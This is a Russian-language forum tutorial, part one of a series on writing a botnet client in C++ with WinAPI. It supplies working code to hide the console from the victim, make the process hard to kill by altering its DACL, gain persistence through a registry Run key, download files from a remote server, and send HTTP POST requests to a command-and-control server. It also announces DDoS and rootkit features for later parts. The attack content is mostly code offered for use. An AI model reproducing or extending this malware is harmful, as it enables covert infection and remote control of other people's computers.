Статья Пишем ботнет на C++ / Часть 1

Предисловие
На написание этой серии статей меня натолкнули несколько тем от @SooLFaa, в которых он рассказывал о разработке ботнета на C# . NET

Его посты действительно занимательные и во многом мои будут их повторять(вплодь до методов WinAPI), но с одним весомым отличием — писать свой ботнет мы будем на C++ без использования сторонних библиотек. C# очень хороший язык, но хоть и Windows 10 завоевывает всё больше машин (даже я использую десятку на планшете, ноуте и стационарном пк), парадом всё ещё правит Windows 7, а .NET, хоть и достаточно популярен в наше время, всё ещё у многих не установлен.

Заранее предупрежу, что на С++ перешел совсем недавно и хоть я пытаюсь писать без костылей, иногда может попадаться код, который вы могли бы написать лучше.

Создание и организация проекта
В качестве IDE использую Visual Studio 2017 Community с последними обновлениями, в качестве системы контроля версий Git.

Создаем новый Win32 Console Application проект в Visual Studio и видим не особо дружелюбный (по сравнению с C#) код:
Код:
#include "stdafx.h"

int main()
{
    return 0;
}

Для начала нам необходимо реализовать скрытие консоли от глаз жертвы.
Жмем на папку Source Files и создаем новый .cpp файл, назовем его Utils.cpp
Сразу же создадим заголовочный файл для нашего класса.
Жмем на папку Header Files и создаем новый .h файл, называем его Utils.h

Кстати, изначально заголовочные файлы были созданы для оптимизации кода для компилятора, поскольку железо было куда слабее. Сейчас, формально, можно обойтись и без них, но мы же пишем по канону.

Давайте распишем наши будущие методы, открываем Utils.h и пишем:
Код:
#include <iostream>
#include <Aclapi.h>

using namespace std;

class Utils {
public:
    void HideConsole();
};

Кстати, все последующие инклуды мы будем прописывать в заголовочных файлах.

Теперь переходим в Utils.cpp, инклудим наш .h файл и пишем:
Код:
#include "stdafx.h"
#include "Utils.h"

/* Скрываем консоль от пользователя */
void Utils::HideConsole() {
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth, 0);
}

Наш первый метод готов!
Для тестирования в рут неймспейсе нашего проекта (в моём случае SimpleBotnet.cpp) инклудим Utils.h, объявляем класс и используем функцию HideConsole:
Код:
#include "stdafx.h"
#include "Utils.h"

Utils utils;

int main()
{
    utils.HideConsole();
    system("pause");
    return 0;
}

Теперь запретим закрытие нашей программы, изменив аттрибуты процесса. Возвращаемся в Utils.h и добавляем новую функцию DenyAccess:
Код:
#include <iostream>
#include <Aclapi.h>
#include "Sddl.h"

using namespace std;

class Utils {
public:
    void HideConsole();
    BOOL DenyAccess();
};

Так-же прошу обратить внимание на то, что мы подключили к проекту хедер Sddl.h
Опишем функцию DenyAccess в Utils.cpp:
Код:
/* Изменяем атрибуты процесса */
BOOL Utils::DenyAccess() {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    SECURITY_ATTRIBUTES sa;
    TCHAR * szSD = TEXT("D:P");
    TEXT("(D;OICI;GA;;;BG)");
    TEXT("(D;OICI;GA;;;AN)");
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = FALSE;

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL))
        return FALSE;

    if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor))
        return FALSE;

    return TRUE;
}

Кстати, в Windows 10 данный метод не работает, поскольку Microsoft наградили taskmgr более высокими привелегиями(system). По крайней мере, на админ-учетке это так, как на юзер-моде — не знаю.

Создадим функцию для добавления в автозагрузку. Во всё том же Utils.cpp прописываем метод Autoload, принимающий string-параметры Name и Path:
Код:
/* Добавление в автозагрузку */
void Utils::Autoload(string Name, string Path) {
    string command = "REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V " + Name + " /t REG_SZ /F /D " + Path;
    system(command.c_str());
}

Не забываем добавлять функцию в хедер:
Код:
void Autoload(string Name, string Path);

Как вы заметили, мы использовали стандартную функцию system() и стандартную виндовую утилиту для работы с реестром(reg). Данная функция позволяет напрямую обращаться к командной строке(cmd.exe) от имени пользователя, который запустил нашу программу. Благодаря этой замечательной функции в будущем мы будем творить удивительные вещи, но об этом в следующих постах.

Какой ботнет без возможности загрузки файлов с удаленного сервера?
Добавим эти функции и ещё пару попутных:
Utils.cpp
Код:
/* Загрузка файла с удаленного сервера */
void Utils::DownloadFile(wchar_t *url, wchar_t *dir) {
    URLDownloadToFile(0, url, dir, 0, 0);
}

/* Создание папки */
void Utils::CreateDir(wchar_t *dir) {
    CreateDirectory(dir, NULL);
}

/* Проверка файла на существование */
bool Utils::FileExists(const char *fname) {
    return access(fname, 0) != -1;
}
Utils.h
Код:
#include <iostream>
#include <Aclapi.h>
#include "Sddl.h"
#include <io.h>

using namespace std;

class Utils {
public:
    void HideConsole();
    BOOL DenyAccess();
    void Autoload(string Name, string Path);
    void DownloadFile(wchar_t *url, wchar_t *dir);
    void CreateDir(wchar_t *dir);
    bool FileExists(const char *fname);
};

А теперь начинаются сложности. Следующий шаг — реализация общения между ботом и C&C-сервером (командным сервером). Казалось бы, ничего сложного. Однако, есть одно «но» — встроенного функционала для работы с http в C++ нету.
У нас есть два выбора — использовать готовые, но тяжелые, библиотеки или написать свою, но легкую.

Вес исполняемого файла в разработке малвари очень важен, поэтому мне пришлось изворачиваться.
После ночи мучений, был найден подходящий код.
Создаем HTTP.cpp и HTTP.h в Source Files и Header Files соответственно. Поскольку код длинный, прикладываю прямую ссылку на класс в репозитории:
Копируем код по ссылке в свой проект, затем открываем HTTP.h и пишем:
Код:
#include <Windows.h>
#include <WinHttp.h>
#include <stdio.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "winhttp.lib")

using namespace std;

class HTTP {
public:
    string Request(string domain, string url, string dat);
private:
    std::wstring get_utf16(const std::string &str, int codepage);
};

Данный класс служит для отправки HTTP POST запросов, пример использования:
Код:
HTTP http;
string response = http.Request("https://codeby.net", "/page/test.php", "UserName=test&Password=test");


На этом первая часть заканчивается, в следующей части мы реализуем общение с командным сервером (получение указаний), научим наш ботнет DDoS'ить указанные ресурсы, а так-же допилим функциональность руткита.

Исходники
Специально для этой серии статей создал (буду рад вашим форкам). Обновлять буду по мере выхода статей.
 
Почему репозиторий удалили?
Снимок экрана от 2018-04-07 13-27-34.png
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!